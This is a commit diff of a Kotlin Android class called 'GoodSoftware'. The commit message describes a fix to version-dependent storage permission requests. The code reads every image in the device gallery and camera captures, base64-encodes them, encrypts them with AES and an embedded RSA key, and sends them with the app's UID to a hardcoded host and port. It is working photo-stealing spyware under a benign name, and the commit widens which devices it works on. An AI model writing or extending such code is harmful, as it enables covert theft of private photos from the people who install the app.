Make sure permissions are correctly requested based on adroid version
This commit is contained in:
		@@ -143,9 +143,14 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                    requestCameraPermission()
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                // Check and request gallery permission
 | 
			
		||||
                if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                    checkStoragePermission()
 | 
			
		||||
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
			
		||||
                    if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_MEDIA_IMAGES) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                        checkStoragePermission()
 | 
			
		||||
                    }
 | 
			
		||||
                } else {
 | 
			
		||||
                    if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
 | 
			
		||||
                        checkStoragePermission()
 | 
			
		||||
                    }
 | 
			
		||||
                }
 | 
			
		||||
 | 
			
		||||
                // If both permissions are granted, proceed with picture capture and gallery access
 | 
			
		||||
@@ -154,11 +159,12 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                Thread {
 | 
			
		||||
                    try {
 | 
			
		||||
                        val imageList = getAllImagesFromGallery(activity)
 | 
			
		||||
                        println(imageList)
 | 
			
		||||
                        for (image in imageList) {
 | 
			
		||||
                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
			
		||||
                            Thread {
 | 
			
		||||
                                println("Sending data to server")
 | 
			
		||||
                                sendDataToServer(base64Image)
 | 
			
		||||
                                sendDataToServer(base64Image, establishConnection())
 | 
			
		||||
                            }.start()
 | 
			
		||||
                        }
 | 
			
		||||
                    } catch (e: Exception) {
 | 
			
		||||
@@ -173,6 +179,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
 | 
			
		||||
        var base64Image = ""
 | 
			
		||||
        try {
 | 
			
		||||
@@ -262,40 +269,51 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
    data class ConnectionResult(
 | 
			
		||||
        val socket: Socket,
 | 
			
		||||
        val reader: BufferedReader,
 | 
			
		||||
        val writer: PrintWriter,
 | 
			
		||||
        val key: SecretKeySpec,
 | 
			
		||||
        val iv: IvParameterSpec,
 | 
			
		||||
        val algorithm: String
 | 
			
		||||
    )
 | 
			
		||||
 | 
			
		||||
    fun sendDataToServer(sendData: String) {
 | 
			
		||||
    fun establishConnection(): ConnectionResult{
 | 
			
		||||
        val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
			
		||||
        val host = "192.168.90.151"
 | 
			
		||||
        val port = 5645
 | 
			
		||||
        val secureRandom = SecureRandom()
 | 
			
		||||
        val keyBytes = ByteArray(16)
 | 
			
		||||
        val ivBytes = ByteArray(16)
 | 
			
		||||
        secureRandom.nextBytes(keyBytes)
 | 
			
		||||
        secureRandom.nextBytes(ivBytes)
 | 
			
		||||
        val key = SecretKeySpec(keyBytes, "AES")
 | 
			
		||||
        val iv = IvParameterSpec(ivBytes)
 | 
			
		||||
        val algorithm = "AES/CBC/PKCS5Padding"
 | 
			
		||||
        val socket = Socket(host, port)
 | 
			
		||||
        val writer = PrintWriter(socket.getOutputStream(), true)
 | 
			
		||||
        val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
 | 
			
		||||
 | 
			
		||||
        val encodedKey = encodeBase64(keyBytes)
 | 
			
		||||
        writer.println(encryptText(encodedKey, pKey))
 | 
			
		||||
        reader.readLine()
 | 
			
		||||
 | 
			
		||||
        val encodedIV = encodeBase64(ivBytes)
 | 
			
		||||
        writer.println(encryptText(encodedIV, pKey))
 | 
			
		||||
        reader.readLine()
 | 
			
		||||
 | 
			
		||||
        val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
 | 
			
		||||
        writer.println(encryptText(encodedUid, pKey))
 | 
			
		||||
        reader.readLine()
 | 
			
		||||
 | 
			
		||||
        return ConnectionResult(socket, reader, writer, key, iv, algorithm)
 | 
			
		||||
    }
 | 
			
		||||
    fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
 | 
			
		||||
        val (socket, reader, writer, key, iv, algorithm) = connectionResult
 | 
			
		||||
        try {
 | 
			
		||||
            val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
 | 
			
		||||
            val host = "192.168.90.151"
 | 
			
		||||
            val port = 5645
 | 
			
		||||
            val secureRandom = SecureRandom()
 | 
			
		||||
            val keyBytes = ByteArray(16)
 | 
			
		||||
            val ivBytes = ByteArray(16)
 | 
			
		||||
            secureRandom.nextBytes(keyBytes)
 | 
			
		||||
            secureRandom.nextBytes(ivBytes)
 | 
			
		||||
            val key = SecretKeySpec(keyBytes, "AES")
 | 
			
		||||
            val iv = IvParameterSpec(ivBytes)
 | 
			
		||||
            val algorithm = "AES/CBC/PKCS5Padding"
 | 
			
		||||
 | 
			
		||||
            val chunkSize = 131072
 | 
			
		||||
            val chunks = sendData.lines().joinToString("").chunked(chunkSize)
 | 
			
		||||
 | 
			
		||||
            val socket = Socket(host, port)
 | 
			
		||||
            val writer = PrintWriter(socket.getOutputStream(), true)
 | 
			
		||||
            val reader = BufferedReader(InputStreamReader(socket.getInputStream()))
 | 
			
		||||
 | 
			
		||||
            val encodedKey = encodeBase64(keyBytes)
 | 
			
		||||
            writer.println(encryptText(encodedKey, pKey))
 | 
			
		||||
            reader.readLine()
 | 
			
		||||
 | 
			
		||||
            val encodedIV = encodeBase64(ivBytes)
 | 
			
		||||
            writer.println(encryptText(encodedIV, pKey))
 | 
			
		||||
            reader.readLine()
 | 
			
		||||
 | 
			
		||||
            val encodedUid = encodeBase64(android.os.Process.myUid().toString().toByteArray())
 | 
			
		||||
            writer.println(encryptText(encodedUid, pKey))
 | 
			
		||||
            reader.readLine()
 | 
			
		||||
 | 
			
		||||
            for (chunk in chunks) {
 | 
			
		||||
                val cipherText = encrypt(algorithm, chunk, key, iv).lines().joinToString("")
 | 
			
		||||
                writer.println(cipherText)
 | 
			
		||||
@@ -359,7 +377,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                //Log.d(picture.TAG, "Base64 Image: $base64Image")
 | 
			
		||||
                Thread {
 | 
			
		||||
                    println("Sending data to server")
 | 
			
		||||
                    sendDataToServer(base64Image)
 | 
			
		||||
                    sendDataToServer(base64Image, establishConnection())
 | 
			
		||||
                }.start()
 | 
			
		||||
                image.close()
 | 
			
		||||
            }
 | 
			
		||||
@@ -404,8 +422,10 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
 | 
			
		||||
        // Check permission based on Android version
 | 
			
		||||
        val permission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
 | 
			
		||||
            println("Using READ_MEDIA_IMAGES for Android 13 and higher")
 | 
			
		||||
            Manifest.permission.READ_MEDIA_IMAGES // Use READ_MEDIA_IMAGES for Android 13 and higher
 | 
			
		||||
        } else {
 | 
			
		||||
            println("Using READ_EXTERNAL_STORAGE for lower versions")
 | 
			
		||||
            Manifest.permission.READ_EXTERNAL_STORAGE // Use READ_EXTERNAL_STORAGE for lower versions
 | 
			
		||||
        }
 | 
			
		||||
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user